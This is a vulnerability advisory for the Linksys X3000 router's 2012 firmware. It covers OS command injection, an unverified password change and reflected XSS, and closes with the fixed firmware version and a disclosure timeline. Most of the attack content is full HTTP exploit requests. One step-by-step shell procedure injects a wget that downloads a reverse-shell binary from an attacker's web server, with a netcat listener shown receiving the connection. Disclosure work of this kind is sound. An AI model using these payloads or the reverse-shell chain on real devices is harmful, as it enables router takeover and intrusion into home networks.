Linksys X3000 Cross Site Scripting / Command Execution

`Device: X3000  
Vendor: Linksys  
  
============ Vulnerable Firmware Releases: ============  
  
Firmware Version: v1.0.03 build 001 Jun 11,2012  
  
============ Vulnerability Overview: ============  
  
* OS Command Injection  
  
The vulnerability is caused by missing input validation in the ping_ip parameter and can be exploited to inject and execute arbitrary shell commands.  
  
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.  
  
* OS Command Injection - Vector 1 (1):  
=> Parameter: ping_ip  
  
Example Exploit:  
POST /apply.cgi HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://192.168.1.1/Diagnostics.asp  
Authorization: Basic XXX=  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 194  
Connection: close  
  
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20ping%20-c%201%20192%2e168%2e1%2e147%20%3b&ping_size=&ping_times=5&traceroute_ip=  
  
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/x3000-os-command-injection.png  
  
  
=============================  
To get a shell:  
* 1st Request  
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20wget http://192.168.178.105/mipsbe_reverse_shell.elf -O /tmp/test1%20%3b&ping_size=&ping_times=5&traceroute_ip=  
  
=> 2nd Request: Requesting change of permissions  
=> 3rd Request: Requesting execution of your payload  
  
* Webserver is hosting Big endian MIPS Shellcode:  
# ls /var/www/  
mipsbe_reverse_shell.elf  
  
* starting local listener via netcat:  
# nc -vlp 4444  
listening on [any] 4444 ...  
192.168.178.188: inverse host lookup failed: Unknown server error : Connection timed out  
connect to [192.168.178.105] from (UNKNOWN) [192.168.178.188] 44424  
<snip>  
=============================  
  
* OS Command Injection - Vector 1 (2):  
=> Parameter: Add_Account_Password  
  
Example Exploit:  
POST /apply.cgi HTTP/1.1  
Host: 192.168.178.188  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.178.188/User_Properties.asp  
Authorization: Basic XXX=  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 444  
  
command=device_data&cur_ipaddr=192.168.178.188&next_page=StorageAdminUserAdd1.htm&redirect_timer=1&reboot=0&data1=&next_page=&submit_button=User_Properties&submit_type=create_user&change_action=gozila_cgi&Add_Account_Group_Name=&access_group_name=&delete_groups=&Modify_Account_Name=&Add_Account_Name=pwnd&full_name=pwnd&user_desc=pwnd&Add_Account_Password=`ping%20192%2e168%2e178%2e103`&Add_Account_PasswordConfirm=pwnd&Add_Account_Group=admin  
  
* For changing the password there is no request to the current password (3):  
  
With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.  
  
* reflected XSS  
  
Injecting scripts into the following parameters reveals that these are not properly validated for malicious input.  
  
=> Parameter: ping_ip (4)  
  
POST /apply.cgi HTTP/1.1  
Host: 192.168.178.188  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.178.188/Diagnostics.asp  
Authorization: Basic XXX=  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 156  
  
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=1.1.1.1'><script>alert(1)</script>&ping_size=32&ping_times=5&traceroute_ip=  
  
=> Parameter: sortby (5)  
  
POST /apply.cgi HTTP/1.1  
Host: 192.168.178.188  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.178.188/DHCPTable.asp  
Authorization: Basic XXX=  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 103  
  
submit_button=DHCPTable&change_action=&submit_type=&small_screen=&ip=&mac=&if_name=&nowait=1&sortby=mac"%3balert(1)//  
  
=> Parameter: submit_button (6)  
  
POST /apply.cgi HTTP/1.1  
Host: 192.168.178.188  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.178.188/WanMAC.asp  
Authorization: Basic XXX=  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 106  
  
submit_button=WanMAC'%3balert(1)//&change_action=&submit_type=&action=Apply&wait_time=3&mac_clone_enable=0  
  
============ Solution ============  
  
Update to version "v1.0.05 build 002 Feb 21,2013" to fix the following findings:  
1, 2, 4, 5, 6  
  
============ Credits ============  
  
The vulnerability was discovered by Michael Messner  
Mail: devnull#at#s3cur1ty#dot#de  
Web: http://www.s3cur1ty.de/advisories  
Twitter: @s3cur1ty_de  
  
============ Time Line: ============  
  
28.01.2013 - discovered vulnerability  
04.02.2013 - Reported vulnerability privately to vendor  
22.02.2013 - Requested update  
25.02.2013 - Linksys responded that there are no updates  
18.03.2013 - Requested update  
=> and some more update requests ...  
08.05.2013 - Testing update from vendor  
08.05.2013 - responded testing results  
21.06.2013 - Linksys informed me about public available firmware update  
22.06.2013 - public disclosure  
  
===================== Advisory end =====================  
  
  
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